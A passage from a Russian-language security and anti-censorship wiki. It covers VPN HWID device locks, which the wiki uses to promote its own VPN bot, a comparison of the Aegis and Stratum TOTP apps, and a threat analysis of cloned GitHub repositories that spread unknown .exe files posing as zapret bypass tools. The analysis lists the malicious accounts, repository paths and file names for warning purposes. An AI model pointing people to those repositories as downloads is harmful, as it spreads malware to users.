устройств — это попытка решить реальную проблему, а не только желание удержать пользователя. Спор не о том, есть ли у продавца интерес, а о том, кто платит за его решение: выбор клиента и часть приватности отдаёт пользователь. ## Позиция этого проекта Ограничения выше — не отраслевая необходимость, а решение конкретного продавца. Практика проекта, в рамках которого ведётся это хранилище, противоположная. VPN-подписка выдаётся через Telegram-бота [@zapretvpns_bot](https://t.me/zapretvpns_bot) (подробный разбор — в заметке [[premium/zapret-vpn-bot|Zapret VPN-бот]]), и правила там такие: - **Клиент выбирает пользователь.** Приложения не фильтруются ни по названию, ни по заголовку `User-Agent`: Happ, INCY или другой «обязательный» клиент не требуется. Подойдёт любое ядро, поддерживающее нужный протокол — [[Clash/02-mihomo|mihomo]] с его оболочками, [[sing-box/sing-box-extended|sing-box]], [[xray/project-x|Xray-core]], клиент на роутере. - **Подписка — не единственный вход.** Кроме готового профиля формата mihomo выдаются прямые стандартные конфигурации: строка `vless://…`, файл WireGuard/AWG, параметры Hysteria 2. Не понимает ваше приложение подписку — берите прямой конфиг. - **HWID не собирается.** Аппаратный идентификатор устройства не запрашивается, заголовок `x-hwid` при выдаче не требуется, инвентарь ваших устройств не ведётся. «Слот устройства» в интерфейсе — это просто номер конфига, который вы сами подписываете («телефон», «роутер»), а `Fingerprint` у VLESS — TLS-профиль браузера для маскировки; ни то, ни другое к железу отношения не имеет. - **Конфигурация открыта.** Адрес сервера и параметры видны: их можно проверить, сохранить у себя и перенести на другое устройство и в другое ядро, не спрашивая разрешения. - **Единственное реальное условие — техническое:** клиент должен понимать нужный протокол и формат конфига. Если не понимает — это вопрос совместимости, а не политика сервиса. Проще говоря: доступ, который вы оплатили, остаётся вашим, а не работает только внутри одобренного приложения. Это не значит, что вопрос доверия снимается: любой VPN-оператор технически видит адреса, к которым вы подключаетесь, — отсутствие HWID лишь сокращает объём собираемых о вас данных. Честные оговорки на этот счёт собраны в самой [[premium/zapret-vpn-bot|заметке о боте]]. ## Что делать пользователю - **Спрашивайте до оплаты**, есть ли лимит устройств и требуется ли конкретный клиент. Это нормальный вопрос, и уклончивый ответ сам по себе информативен. - **Проверяйте ссылку подписки** запросом из браузера или `curl` (см. подсказку выше) — так вы узнаете реальное положение дел, а не рекламное. - **Избегайте шифрованных подписок**, если для вас важна проверяемость: скрытый конфиг означает, что вы не можете убедиться даже в стране выхода. - **Держите конфиг у себя.** Сохранённая ссылка `vless://…` или выгруженный YAML — это ваша страховка на случай, когда клиент перестанет обновляться или продавец сменит правила. - Если ограничение уже мешает — помните, что упирается оно в **получение конфигурации**, а не в протокол: имея на руках параметры узла, вы вольны использовать любое ядро. ## 📚 См. также - [[Clash/07-clients|Клиенты на ядре Clash/mihomo]] — какие оболочки живы и почему обновление ядра важнее обновления интерфейса. - [[xray/clients-and-routing|Клиенты и маршрутизация Xray]] — как подключиться и развести трафик; там же про формат ключей и подписок. - [[Clash/08-vs-sing-box|mihomo против sing-box и Xray]] — выбор ядра, который HWID-привязка фактически отнимает. - [[protocols/00-overview|Обзор протоколов]] — почему аутентификация в протоколах устроена как «UUID или пароль», без понятия устройства. - [[premium/zapret-vpn-bot|Zapret VPN-бот]] — пример подписки без привязки к устройству и без обязательного клиента. - [[Privacy|Приватность]] — общие принципы: меньше стабильных идентификаторов, меньше связок. - 🔗 [HWID device limit — документация Remnawave](https://docs.rw/docs/features/hwid-device-limit/) — первоисточник по заголовкам и поведению панели. - 🔗 [FAQ Happ: добавление конфигурации и подписки](https://www.happ.su/main/ru/faq/adding-configuration-subscription) — описание шифрованных подписок и скрытия конфигурации. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/subscriptions/hwid-client-lock.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-20 tags: - vpn - подписки - обзор-раздела aliases: - VPN-подписки раздел - Подписки на VPN обзор - Ограничения VPN-продавцов --- # 🎫 Подписки на VPN-сервисы — раздел > [!info] О чём раздел > Заметки о том, как устроены платные VPN-подписки со стороны продавца: какие ограничения накладывают сервисы и чем это оборачивается для пользователя. ## Заметки раздела - [[subscriptions/hwid-client-lock|HWID-привязка и запрет «чужих» клиентов]] — как продавцы ограничивают подписку идентификатором устройства (HWID) и запрещают сторонние приложения, и что это значит на практике. ## 📚 См. также - [[xray/clients-and-routing|Клиенты и маршрутизация VLESS]] — какие клиенты бывают и как подключаться к серверу самостоятельно --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/subscriptions/subscriptions.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-08-20 tags: - totp - 2fa - безопасность - обзор-раздела aliases: - TOTP раздел - Двухфакторная аутентификация обзор - Приложения для одноразовых кодов --- # 🔐 TOTP и двухфакторная аутентификация — раздел > [!info] О чём раздел > Заметки о **TOTP** (Time-based One-Time Password — одноразовые коды, которые генерирует приложение на телефоне) и выборе приложений для двухфакторной аутентификации. ## Заметки раздела - [[TOTP/aegis-vs-stratum|Aegis и Stratum: что выбрать для TOTP и Яндекса]] — сравнение двух открытых приложений-генераторов кодов, включая работу с кодами Яндекса. ## 📚 См. также - [[FIDO/00-overview|Раздел FIDO]] — аппаратные ключи и passkeys: следующая ступень после TOTP --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/TOTP/TOTP.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-08-16 tags: - totp - 2fa - android - aegis - stratum - yandex aliases: - Aegis или Stratum - Что лучше Aegis или Stratum - Чем заменить Яндекс Ключ - Aegis Yandex OTP - Stratum Yandex OTP - Буквенный код Яндекса - Лучшее приложение TOTP для Android link: https://github.com/beemdevelopment/Aegis --- # 🔐 Aegis и Stratum: что выбрать для TOTP и Яндекса ![[aegis-vs-stratum-cover.png]] > [!info] О чём заметка > При двухфакторной аутентификации для входа нужны пароль и отдельное подтверждение, например одноразовый код. Aegis и Stratum хранят данные для вычисления таких кодов на телефоне или другом устройстве с Android. Здесь сравниваются поддерживаемые форматы, шифрование, резервные копии, работа с Яндексом и практические настройки, от которых безопасность зависит сильнее названия приложения. ## Короткий вывод Aegis и Stratum поддерживают одинаковый основной набор: обычные временные и счётчиковые коды, коды игрового сервиса Steam, мобильные одноразовые пароли и отдельный буквенный формат Яндекса. По количеству способов вычисления одноразового кода победителя нет. Для обычного телефона без часов разумным выбором по умолчанию остаётся Aegis: его разработчики подробно описали устройство зашифрованного хранилища, приложение давно выпускается через магазин Android-приложений Google Play и каталог свободных Android-приложений F-Droid, а интерфейс прямо предлагает защитить базу паролем или биометрией. Stratum стоит выбрать ради часов на Wear OS, то есть системе Android для наручных устройств, или если его интерфейс и резервное копирование удобнее. В Stratum нужно отдельно включить пароль базы: исходный код задаёт эту защиту выключенной при первой установке. Для нового входа в Яндекс отдельный буквенный режим обычно не требуется. [Справка Яндекса](https://yandex.ru/support/id/ru/authorization/twofa-on) разрешает любое приложение, поддерживающее стандартный временный одноразовый пароль. Специальный режим в Aegis и Stratum нужен только тогда, когда сам сервис выдаёт секрет и дополнительный числовой код для восьмибуквенного формата. Если страница настройки просит шесть цифр, нужно выбирать обычный временный алгоритм. Если пароль вводится на компьютере, генератор одноразовых кодов разумнее держать на отдельном защищённом телефоне. Заражение компьютера тогда не раскрывает долгоживущий секрет TOTP автоматически. Преимущество даёт разделение устройств: оно сокращает вероятность, что одна атака доберётся и до пароля, и до данных второго фактора. ## Приложение хранит секрет, а формат определяет код При обычной настройке сайт и приложение один раз получают копии одного случайного секрета. Секрет остаётся общим ключом для будущих вычислений, а текущий код постоянно не хранится: обе стороны получают его заново. Они берут секрет и текущее время и независимо вычисляют одинаковое короткое значение. Такой способ называют одноразовым паролем на основе времени, или TOTP. Код часто меняется каждые 30 секунд, а интернет приложению для расчёта не нужен. Другой стандарт увеличивает внутренний счётчик после каждого использованного кода. Это одноразовый пароль на основе события, или HOTP. Телефон и сервер должны хранить согласованное значение счётчика, поэтому временная схема встречается чаще. При подключении сервис обычно показывает квадратное изображение с настройками записи, которое приложение считывает камерой. Такой машиночитаемый квадрат называют QR-кодом. В нём лежат тип генератора, секрет, имя учётной записи и иногда дополнительные параметры. Aegis или Stratum сохраняет эти данные, а потом показывает результат выбранного алгоритма. ```mermaid flowchart LR Setup["Настройка на сайте"] -->|"QR-код с секретом и параметрами"| App["Aegis или Stratum"] App --> Store["Локальная база приложения"] Time["Время или счётчик"] --> Calc["Вычисление одноразового кода"] Store --> Calc Calc --> Code["Цифры или специальный алфавит"] Code -->|"Пользователь вводит код"| Site["Проверка на сайте"] ``` Из этой схемы следует граница сравнения. Aegis и Stratum не создают разные виды двухфакторной защиты для обычного TOTP. Они по-разному защищают одну и ту же исходную запись, делают резервные копии и показывают код. Если вредоносная программа прочитает секрет из уже открытой базы, она сможет вычислять будущие коды независимо от выбранного приложения. Подробно удалённые атаки и отличие от ключей доступа разобраны в [[FIDO/passkeys#Как TOTP крадут удалённо|статье о TOTP и ключах доступа]]. ## Какие коды поддерживаются Два основных алгоритма опубликованы в открытой серии технических спецификаций интернета. В оригинале такие документы называются Request for Comments и обозначаются сокращением RFC: [RFC 4226](https://www.rfc-editor.org/rfc/rfc4226) описывает HOTP, а [RFC 6238](https://www.rfc-editor.org/rfc/rfc6238) описывает TOTP. Оба приложения также вычисляют несколько совместимых форматов без общепринятого открытого стандарта. Steam использует пятисимвольный код со своим набором букв и цифр. Мобильный одноразовый пароль, или mOTP, меняется каждые десять секунд и дополнительно учитывает числовой код пользователя. Отдельный формат Яндекса выдаёт восемь строчных латинских букв и тоже требует дополнительный числовой код. В интерфейсах и исходном коде этот режим называется Yandex OTP. | Вид кода | Aegis | Stratum | Что увидит пользователь | |---|:---:|:---:|---| | TOTP | ✅ | ✅ | обычно 6 или 8 цифр, код меняется по времени | | HOTP | ✅ | ✅ | цифровой код меняется после увеличения счётчика | | Steam | ✅ | ✅ | 5 знаков из специального набора букв и цифр | | mOTP | ✅ | ✅ | 6 знаков, период 10 секунд, нужен дополнительный код | | Yandex OTP | ✅ | ✅ | 8 строчных латинских букв, период 30 секунд, нужен дополнительный код | Для стандартных TOTP и HOTP оба приложения поддерживают три алгоритма хеширования: SHA-1, SHA-256 и SHA-512. Такой алгоритм преобразует общий секрет и время или счётчик в промежуточный результат, из которого приложение получает короткий код. Сервис выбирает конкретный вариант при настройке, а приложение должно повторить его. Самовольная замена SHA-1 на SHA-256 в приложении не усилит вход: сервер получит другое значение и отклонит код. По числу поддерживаемых видов получается ничья. В кратком описании проекта Aegis на площадке открытых исходников GitHub перечислены только стандартные HOTP и TOTP, из-за чего можно решить, будто специальные форматы отсутствуют. Однако [официальное описание формата базы Aegis](https://github.com/beemdevelopment/Aegis/blob/a9d45b3ade1eda43ea796c7d7546e0147275ba7c/docs/vault.md#L263-L271) и [текущий исходный код генератора Яндекса](https://github.com/beemdevelopment/Aegis/blob/a9d45b3ade1eda43ea796c7d7546e0147275ba7c/app/src/main/java/com/beemdevelopment/aegis/crypto/otp/YAOTP.java) подтверждают генерацию всех пяти типов. [Stratum перечисляет тот же набор](https://github.com/stratumauth/app#readme) в основном описании проекта. ## Почему у Яндекса встречаются буквы Обычный TOTP заканчивает вычисление преобразованием результата в несколько десятичных цифр. Отдельный совместимый алгоритм Яндекса вместо этого выбирает восемь символов из латинских букв от `a` до `z`. На вычисление влияют общий секрет, текущее время и дополнительная числовая комбинация, которую знает пользователь. Эту комбинацию часто называют PIN-кодом. Она входит в расчёт кода Яндекса и не является паролем базы Aegis или Stratum, кодом блокировки телефона либо паролем аккаунта. И Aegis, и Stratum называют такой генератор Yandex OTP. Его не следует описывать как «обычный TOTP, только с буквами»: другая последняя стадия кодирования и дополнительный PIN дают отдельный несовместимый формат. [Aegis фиксирует](https://github.com/beemdevelopment/Aegis/blob/a9d45b3ade1eda43ea796c7d7546e0147275ba7c/docs/vault.md#L354-L371) период 30 секунд, восемь символов и SHA-256, а [Stratum хранит Yandex отдельным типом](https://github.com/stratumauth/app/blob/master/doc/BACKUP_FORMAT.md), для которого требуется PIN. При этом в августе 2026 года сам Яндекс описывает настройку аккаунта через обычный TOTP из открытой спецификации. [Официальная инструкция](https://yandex.ru/support/id/ru/authorization/twofa-on) говорит, что подойдёт любое совместимое приложение, а [инструкция по входу](https://yandex.ru/support/id/ru/authorization/password-plus-otp) предлагает ввести код из Яндекс ID или другого приложения на основе TOTP. Поэтому буквенный Yandex OTP надо рассматривать как отдельный режим совместимости, а не как обязательный формат каждого аккаунта Яндекса. > [!warning] Название сервиса не определяет тип записи > Если страница настройки выдаёт обычный TOTP и ожидает цифры, в Aegis или Stratum нужно создать запись TOTP. Тип Yandex выбирают только для настройки, которая требует восемь букв и передаёт совместимые секрет и PIN. Неверный тип будет стабильно выдавать неправильные коды. ## Можно ли заменить «Яндекс Ключ» приложением Aegis или Stratum Здесь расходятся два сценария. Стороннее приложение может вычислять обычный TOTP для входа по паролю и одноразовому коду. Фирменные подтверждения входа по QR-коду, картинке или уведомлению работают через приложение Яндекса и одной копией TOTP-секрета не воспроизводятся. 29 января 2026 года приложение «Яндекс Ключ» получило название «Яндекс ID» и сохранило генерацию одноразовых кодов. [Яндекс сообщает](https://yandex.ru/company/news/29-01-2026-01), что сохранённые в старом приложении записи переходят в обновлённое автоматически. Это перенос внутри продукта Яндекса, а не общий экспорт в сторонние программы. Для входа по связке постоянного пароля и TOTP Яндекс разрешает сторонний генератор. Значит, Aegis или Stratum может заменить Яндекс ID именно в этом сценарии. Фирменный вход сканированием кода на странице, подтверждение картинкой и уведомления приложения Яндекса в стороннем генераторе не появятся. Официальная справка не обещает, что резервную копию Яндекс ID можно импортировать в Aegis или Stratum. Надёжный переход выглядит так: - [ ] проверить запасной номер, почту и способ восстановления аккаунта; - [ ] в настройках безопасности Яндекс ID заново настроить способ «Пароль + одноразовый пароль»; - [ ] отсканировать новый QR-код в Aegis или Stratum либо ввести показанный рядом секрет вручную; - [ ] завершить настройку и проверить вход новым кодом в отдельном окне браузера; - [ ] создать зашифрованную резервную копию нового приложения; - [ ] удалить старую запись только после успешной проверки и сохранения пути восстановления. Если вход по одноразовому паролю уже настроен, Яндекс может не показать исходный секрет повторно. Тогда придётся пройти перенастройку или восстановление, а не пытаться извлечь данные из закрытой резервной копии приложения. ## Как приложения защищают базу Шифрование должно одновременно скрывать содержимое файла и обнаруживать его незаметную подмену. Основное хранилище Aegis и новый защищённый формат резервной копии Stratum используют симметричный шифр с дополнительной проверкой целостности. Сам шифр называется Advanced Encryption Standard, или AES, а режим GCM добавляет проверку, которая обнаруживает изменение зашифрованных данных. Локальная база Stratum защищается по другой схеме, описанной ниже. Один пароль пользователя плохо подходит как готовый ключ шифрования: его можно быстро перебирать по украденному файлу. Поэтому приложение многократно и с затратами памяти преобразует пароль в ключ. Такой компонент называют функцией выработки ключа. Aegis применяет scrypt, а новый защищённый формат резервной копии Stratum применяет Argon2id с 64 мебибайтами памяти и тремя проходами. Название алгоритма само по себе не спасает слабый пароль, но более дорогой перебор повышает цену атаки на украденную копию. Android предоставляет приложениям защищённое системное хранилище криптографических ключей. Ключ из него можно связать с успешной проверкой отпечатка пальца или лица, а приложение получает право выполнить операцию, не извлекая системный ключ как обычную строку. Этот механизм называется Android Keystore. Оба приложения используют его для биометрического разблокирования защищённой базы. Stratum складывает записи в локальную реляционную базу, то есть в файл с таблицами и связями между строками. Программный движок такого файла называется SQLite. Библиотека SQLCipher добавляет к базе SQLite шифрование с парольным ключом. Но парольная защита Stratum выключена в начальной настройке согласно [значению `PasswordProtectedDefault=false` в исходном коде](https://github.com/stratumauth/app/blob/master/Stratum.Droid/src/PreferenceWrapper.cs#L65-L70). Без отдельного пароля защита зависит главным образом от блокировки, шифрования и изоляции приложений самого телефона. Если атакующий обойдёт эти границы и скопирует базу, отдельного пользовательского секрета у файла не будет. | Защита | Aegis | Stratum | |---|---|---| | Локальная база | AES-256-GCM; можно включить пароль и биометрию, но существует и режим без шифрования | SQLCipher при включённом пароле; пароль базы по умолчанию выключен | | Преобразование пароля | scrypt с документированными параметрами | параметры локальной SQLCipher-базы зависят от библиотеки; для нового защищённого формата копии используется Argon2id | | Биометрия | ключ Android Keystore открывает зашифрованный главный ключ | ключ Android Keystore защищает пароль зашифрованной базы | | Снимки экрана | блокируются, если пользователь не разрешил их | блокируются по умолчанию, можно разрешить в настройках | | Доступ к интернету | отсутствует; облачную папку предоставляет другое приложение | отсутствует; синхронизацию выполняет другое приложение | | Экспорт | зашифрованный или открытый текст | новый защищённый формат, старый формат и несколько открытых форматов | Запрет снимков экрана сокращает риск случайно сохранить показанный код или записать содержимое приложения обычным средством захвата экрана. Он не останавливает вредонос с расширенными правами и не мешает снять экран другой камерой. Возможность открыть экспорт нужна для переноса между приложениями, но такой файл содержит исходные секреты всех аккаунтов. Открытый экспорт, документ с QR-кодами и список адресов настройки нельзя оставлять в загрузках, мессенджере или обычном облачном каталоге. Для Stratum следует выбирать новый защищённый формат резервной копии. Старый формат использует режим шифрования CBC без встроенной проверки целостности и прежний способ многократного преобразования пароля PBKDF2-SHA1 с 64 000 повторов; его сохранили ради совместимости, и для новых копий он подходит хуже. [Формат Stratum](https://stratumauth.com/wiki/backup-format) подробно описывает оба варианта. Aegis по умолчанию шифрует экспорт паролем основного хранилища, но позволяет задать [отдельный пароль для резервных копий и экспорта](https://github.com/beemdevelopment/Aegis/blob/a9d45b3ade1eda43ea796c7d7546e0147275ba7c/app/src/main/res/values/strings.xml#L113-L117). ## Отдельный телефон или тот же компьютер Представим обычный вход: пароль вводится в браузере на компьютере, а код показывает приложение на телефоне. Если вредоносная программа захватит компьютер, она сможет подсмотреть пароль, перехватить вводимый одноразовый код или воспользоваться уже открытым сеансом. Однако исходный секрет TOTP останется на другом устройстве, поэтому одной кражи файлов с компьютера недостаточно для самостоятельного вычисления всех будущих кодов. Национальный институт стандартов и технологий США относит начальное значение для одноразовых паролей к общим секретам, которые подтверждают владение устройством. В [перечне угроз NIST SP 800-63B](https://pages.nist.gov/800-63-4/sp800-63b.html#authenticator-threats) отдельно указано, что захват компьютера позволяет скопировать программный генератор кодов. [Каталог мобильных угроз NIST](https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html) рекомендует по возможности получать дополнительный фактор с отдельного устройства. Для TOTP разнос по устройствам не обязателен. Эта рекомендация уменьшает вероятность отдать оба фактора одной заражённой системе. Проще говоря: отдельный телефон создаёт ещё одну границу, которую атакующему нужно преодолеть. Если пароль и секрет TOTP лежат в одной открытой базе настольного менеджера паролей на том же компьютере, вредоносная программа с правами пользователя может попытаться забрать оба. Для сайта вход всё ещё остаётся двухфакторным: сервер проверяет пароль и отдельный одноразовый код. На стороне пользователя при этом образуется общая точка отказа. Две разные базы на одном компьютере помогают против случайной утечки одного файла, но мало меняют ситуацию, когда вредонос уже читает данные запущенных программ. На телефоне с Android работают дополнительные границы защиты. Система выдаёт каждому приложению отдельный системный идентификатор и ограничивает доступ к чужим файлам на уровне ядра; этот механизм описан в [официальной документации Android](https://source.android.com/docs/security/app-sandbox). Aegis и Stratum дополняют системную изоляцию зашифрованной базой, если пользователь включил её защиту. Поэтому обновляемый телефон без прав суперпользователя, с блокировкой экрана и зашифрованной резервной копией обычно лучше отделяет TOTP от компьютера, на котором происходит вход. Разделение устройств не останавливает атаку во время самого входа. Поддельная страница может сразу переслать действующий код настоящему сайту, а вредонос в браузере способен забрать данные уже подтверждённого сеанса. В этих случаях атакующий получает доступ к аккаунту, не извлекая секрет TOTP из телефона. Разница между кражей секрета, перехватом текущего кода и кражей сеанса подробно разобрана в [[FIDO/passkeys#Телефон, Stratum и KeePassXC|сравнении TOTP с ключами доступа]]. > [!important] Практический вывод > Хранить TOTP на отдельном защищённом телефоне обычно безопаснее, чем на том же компьютере, где вводится пароль. Преимущество создаёт разделение устройств. Оно не доказывает безусловное превосходство Android над Microsoft Windows: обе системы можно защитить или заразить. Заражённый телефон, открытая резервная копия или ввод кода на поддельном сайте могут свести эту пользу на нет. ## Кто безопаснее Безопасность настроенной связки важнее рейтинга приложения. Aegis с коротким паролем и открытой копией в облаке уступит правильно настроенному Stratum. Stratum без пароля базы уступит Aegis с длинной парольной фразой, коротким временем автоматической блокировки и зашифрованным экспортом. Для обычного Android-телефона Aegis выглядит более консервативным выбором. Разработчики опубликовали подробное описание формата и криптографической схемы основной базы, шифрование предлагается во время первоначальной настройки, а [версия 3.4.2 вышла 24 февраля 2026 года](https://github.com/beemdevelopment/Aegis/releases/tag/v3.4.2). Это редакционная рекомендация по прозрачности и зрелости, а не доказательство абсолютной неуязвимости. При включённом пароле локальной базы Stratum даёт сопоставимую защиту. Новый формат резервной копии использует современную функцию Argon2id, а [версия 1.6.2 вышла 8 мая 2026 года](https://github.com/stratumauth/app/releases/tag/v1.6.2). Дополнительное преимущество Stratum состоит в приложении для часов Wear OS. [Сборки из F-Droid не включают синхронизацию с часами](https://github.com/stratumauth/app/wiki/Frequently-Asked-Questions#why-does-the-wear-os-app-say-no-authenticators-with-a-blue-cloud-icon), потому что для неё нужны фирменные компоненты Google; эта функция работает в варианте из Google Play. На часах Stratum не показывает HOTP, поскольку односторонняя передача не позволяет надёжно согласовать счётчик с телефоном. | Сценарий | Выбор | |---|---| | Нужны обычные TOTP на Android без часов | Aegis как более консервативный вариант; Stratum тоже подходит после включения пароля | | Нужны коды на часах Wear OS | Stratum из Google Play | | Нужен буквенный Yandex OTP | Оба поддерживают; сначала убедитесь, что сервис ждёт именно восемь букв | | Нужны Steam или mOTP | Оба поддерживают | | Важен современный формат зашифрованной резервной копии | новый защищённый формат Stratum с Argon2id | | Важна подробная документация основной зашифрованной базы | Aegis | ## Настройки после установки Выбор приложения заканчивается проверкой настроек. В Aegis нужно убедиться, что хранилище зашифровано, а в Stratum включить пароль базы. В обоих приложениях полезно включить биометрию только как удобный способ открыть уже зашифрованную базу, задать автоматическую блокировку и оставить запрет снимков экрана. Затем создаётся одна зашифрованная резервная копия с отдельной длинной парольной фразой. Её стоит открыть тестовым восстановлением до того, как телефон потеряется. Открытые файлы экспорта нужно удалить после переноса, а коды восстановления сайтов хранить отдельно от телефона. Если вредоносная программа уже управляет разблокированным телефоном, она может атаковать оба приложения во время показа или копирования кода: шифрование сохранённой базы не превращает заражённое устройство в безопасное. Такая настройка влияет на реальный риск сильнее, чем разница между логотипами Aegis и Stratum. ## 📚 См. также - [[FIDO/passkeys#Чем TOTP отличается от passkey|TOTP и ключи доступа]] — общий секрет, фишинг, заражение устройства и кража сеанса - [[FIDO/hardware-security-keys|Физические ключи безопасности]] — вариант, в котором секрет одноразовых кодов можно хранить отдельно от телефона - 🔗 [Aegis на GitHub](https://github.com/beemdevelopment/Aegis) — исходный код, загрузки и описание функций - 🔗 [Устройство хранилища Aegis](https://github.com/beemdevelopment/Aegis/blob/master/docs/vault.md) — шифрование, выработка ключа и поддерживаемые типы кодов - 🔗 [Stratum на GitHub](https://github.com/stratumauth/app) — исходный код и список поддерживаемых форматов - 🔗 [Формат резервной копии Stratum](https://stratumauth.com/wiki/backup-format) — AES-GCM, Argon2id и старый совместимый формат - 🔗 [Настройка TOTP для Яндекс ID](https://yandex.ru/support/id/ru/authorization/twofa-on) — официальная инструкция и разрешение сторонних приложений --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/TOTP/aegis-vs-stratum.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- tags: link: aliases: img: --- Ещё один вирусный Zapret — https://t.me/DiscordObxod3 Комментарии закрыты, архив запаролен: ![[Pasted image 20260103184638.png]] --- --- date: 2026-06-12 tags: - zapret - вирусы - безопасность - github - malware aliases: - discord-cdn-fix - Bypass Ultimate вирус - Фейковые репозитории Zapret - Клоны discord-cdn-fix link: https://github.com/Flowseal/zapret-discord-youtube/issues/794 --- # 🪪 Bypass Ultimate / discord-cdn-fix — сеть клонов-репозиториев с малварью > [!info] О чём заметка > Разбор нового типа вирусных «запретов»: не один заражённый архив, а **сеть одинаковых GitHub-репозиториев** под одноразовыми аккаунтами, которые маскируются под легальный open-source проект обхода блокировок. На июнь 2026 это эволюция старых схем из [[virus|каталога вирусных сборок Zapret]] — те раздавали один `rar` с паролем, эти масштабируют раздачу через клоны и накрученные звёзды. К проектам [[Zapret/about|Zapret]], [[home|ZapretGUI]] и bol-van эти репозитории отношения не имеют. ## TL;DR - Это не три репозитория, а **сеть из десятка с лишним клонов** под одноразовыми аккаунтами: `rapidcounttend`, `Originioknow`, `WestDriverComply`, `Constraintpletype`, `Grayflidivider`, `Petainamplifier`, `BudgieBushing` и `StalkerLightning` — один баннер «BYPASS ULTIMATE», один README, один набор файлов, один релиз `v1.1.8`. - **Звёзды накручены до одного числа в пределах кластера**: у семейства `discord-cdn-fix` / `youtube-unban-2026` — **ровно по 66**, у семейства `*-fix-2026` от `StalkerLightning` — **ровно по 28**. Совпадение до единицы на «независимых» репозиториях — это бот-ферма. - Внутри — пять-шесть неизвестных `.exe` (`Discord zapret.exe`, `Telegram zapret.exe`, `YouTube zapret.exe`, `Быстрый запуск.exe`, `Статус подключения.exe`, плюс комбо вроде `roblox-dpi-fix-2026.exe`) и **ни одного исходника**, хотя в темах репозитория стоит `Python`. - README заранее оправдывается «ложными срабатываниями антивируса» — классическая социнженерия, чтобы вы отключили защиту или добавили файлы в исключения. - Главный критерий чистого Zapret нарушен: в настоящей сборке только **один** `winws.exe`, а не пачка `.exe` с «дружелюбными» названиями. - Не скачивайте и не запускайте. Качайте обход блокировок только из [[download|официальных источников]]. > [!danger] Не запускайте эти файлы > Это не инструкция и не обзор «рабочего» инструмента, а разбор угрозы. Запуск любого из `.exe` из этих репозиториев — установка неизвестного исполняемого кода с правами администратора. Если уже запускали — смотрите раздел «Что делать, если запустил» ниже. ## Что именно нашли Все эти репозитории под разными аккаунтами выглядят как независимые проекты, но это копии одного шаблона. Один и тот же баннер `banner.png` с надписью «BYPASS ULTIMATE» и логотипами YouTube / Discord / Telegram / ChatGPT: ![[bypass-ultimate-banner.png]] И один и тот же набор файлов — пачка неизвестных `.exe` вместо единственного `winws.exe`: ![[discord-cdn-fix-files.png]] ### Кластер 1 — семейство «discord-cdn-fix», ровно по 66 звёзд Аккаунты со случайными именами раздают один и тот же репозиторий `discord-cdn-fix` с описанием «Починка загрузки картинок, аватарок и эмодзи в Discord», одинаковым набором тем (`python`, `zapret`, `goodbyedpi`, `discord-fix`, `dpi-bypass`, `youtube-fix`, `telegram-fix`, `chatgpt-fix`…) и **одинаковым числом звёзд — 66 у каждого**: ``` github.com/rapidcounttend/discord-cdn-fix github.com/Originioknow/discord-cdn-fix github.com/WestDriverComply/discord-cdn-fix github.com/Constraintpletype/discord-cdn-fix github.com/Grayflidivider/discord-cdn-fix github.com/Petainamplifier/discord-cdn-fix github.com/BudgieBushing/youtube-unban-2026 (то же тело, другое имя-приманка) ``` ![[discord-cdn-fix-clones-66-stars.png]] Совпадает буквально всё: текст README («🚀 Discord, YouTube & Telegram Fix», «Свобода интернета в один клик»), лицензия MIT, единственный релиз `v1.1.8` от 31 мая 2026 с подписью «СКАЧАТЬ ТУТ» и список файлов: ``` .gitignore Discord zapret.exe Telegram zapret.exe YouTube zapret.exe Быстрый запуск.exe Статус подключения.exe LICENSE README.md banner.png ``` ### Кластер 2 — семейство «*-fix-2026» от StalkerLightning, ровно по 28 звёзд Тот же payload переупаковали под другие приманки (Roblox, лаги, файлы Telegram) с описаниями-простынями из ключевых слов («GoodbyeDPI · Zapret · DPI bypass 2026 · Скачать exe · #automation #bypass #chatgpt-fix #discord-fix #dpi-bypass…») и языковой меткой `HTML`. У всех **ровно по 28 звёзд**: ``` github.com/StalkerLightning/roblox-dpi-fix-2026 github.com/StalkerLightning/roblox-lag-fix-2026 github.com/StalkerLightning/telegram-file-fix-2026 github.com/StalkerLightning/telegram-lag-fix-2026 ``` ![[stalkerlightning-telegram-28-stars.png]] ![[stalkerlightning-roblox-28-stars.png]] В этом кластере к знакомой пятёрке `.exe` добавлен комбо-бинарник под конкретную приманку (например, `roblox-dpi-fix-2026.exe`) и `index.html` — отсюда и метка языка `HTML`. Исходников по-прежнему нет. > [!example] На пальцах > Представьте, что на рынке стоит десяток ларьков с разными вывесками («почини Discord», «почини Roblox», «убери лаги Telegram»), но внутри — одна и та же витрина, один продавец-кукла и одинаковые «отзывы», написанные одной рукой и в одинаковом количестве. Если один ларёк закроют (забанят аккаунт), остальные продолжат торговать тем же товаром. Сеть клонов — это не десять проектов, а одна раздача с десятком запасных дверей. ## Почему это вирус: красные флаги > [!warning] Чем подтверждено, а чем нет > Вывод о вредоносности здесь сделан по **структурным признакам** раздачи (клоны, накрутка, неизвестные `.exe` без исходников, социнженерия в README), а не по запуску payload в песочнице в рамках этого разбора. Это сильные и устойчивые признаки, совпадающие с уже задокументированными вирусными «запретами». Перед любыми выводами и тем более перед запуском прогоните файлы через 